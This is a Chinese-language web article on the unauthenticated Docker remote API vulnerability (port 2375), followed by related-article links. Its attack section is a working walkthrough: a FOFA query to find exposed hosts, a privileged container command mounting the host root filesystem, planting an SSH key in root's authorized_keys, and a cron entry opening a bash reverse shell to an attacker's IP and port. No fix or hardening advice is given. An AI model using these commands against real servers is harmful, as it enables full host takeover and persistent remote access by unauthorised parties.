Docker API 未授權(quán)訪問漏洞問題解析
因為docker賦有遠程的遠程控制,docker開放了一個tcp端口2375,如果沒有限制訪問的話,攻擊者就會通過這個端口來通過docker未授權(quán)來獲取服務(wù)器權(quán)限。
docker api未授權(quán)訪問漏洞
00x1 漏洞成因
因為docker賦有遠程的遠程控制,docker開放了一個tcp端口2375,如果沒有限制訪問的話,攻擊者就會通過這個端口來通過docker未授權(quán)來獲取服務(wù)器權(quán)限。
00x2 信息收集
FOFA中搜索port = 2375 && status_code = "404"
訪問站點2375端口,顯示
訪問/info目錄,查看版本信息
證明改站點存在docker未授權(quán)訪問漏洞
00x3 漏洞利用
docker -H tcp://ip ps -a 查看容器 dokcer -H tcp:// images 查看鏡像
為了獲取宿主機的權(quán)限,我們需要把宿主機的根目錄掛載到docker容器中
docker -H tcp://ip run -it --privileged=true -v /:/mnt --entrypoint /bin/bash image-id
--privileged=true:使用該參數(shù),container內(nèi)的root擁有真正的root權(quán)限。
-v /:/mnt:將宿主機的根目錄掛載到/mnt目錄下
--entrypoint /bin/bash:指定鏡像的默認入口命令,該入口命令會在啟動容器時作為根命令執(zhí)行,所有其他傳入值作為該命令的參數(shù),用法ENTRYPOINT command param1 param2
現(xiàn)在就拿到了root權(quán)限,利用方式有很多種
ssh連接
ssh-keygen -t rsa //生成一個ssh公鑰 cat /root/.ssh/id_rsa.pub //查看生成的公鑰 echo "公鑰內(nèi)容" > /mnt/root/.ssh/authorized_keys //寫公鑰 ssh root@目標ip -i id_rsa //ssh進行連接
寫計劃任務(wù)
nc -lvvp port //開啟監(jiān)聽 echo "* * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1" > /mnt/var/spool/cron/root ///反彈shell
到此這篇關(guān)于Docker API 未授權(quán)訪問漏洞的文章就介紹到這了,更多相關(guān)Docker API 未授權(quán)漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
docker部署nginx下日志自動切割方法實現(xiàn)
部署Nginx在Docker中時,其日志文件默認不會自動切割,與非Docker環(huán)境有所不同,本文介紹了三種日志切割方法,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2024-10-10Docker-compose搭建Redis集群(Sentinel)的實現(xiàn)
本文主要介紹了Docker-compose搭建Redis集群(Sentinel)的實現(xiàn),文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2023-07-07Docker學習筆記之Weave實現(xiàn)跨主機容器互聯(lián)
這篇文章主要介紹了Docker學習筆記之Weave實現(xiàn)跨主機容器互聯(lián),小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧2018-04-04MySQL docker容器數(shù)據(jù)更新統(tǒng)計shell腳本代碼方式
本文介紹了如何創(chuàng)建和配置一個腳本文件,使其能夠每隔一小時執(zhí)行一次,用于更新MySQL統(tǒng)計信息,腳本使用Docker來執(zhí)行MySQL命令,并將結(jié)果保存到文件中,文章還強調(diào)了權(quán)限設(shè)置和配置定時任務(wù)的步驟2025-01-01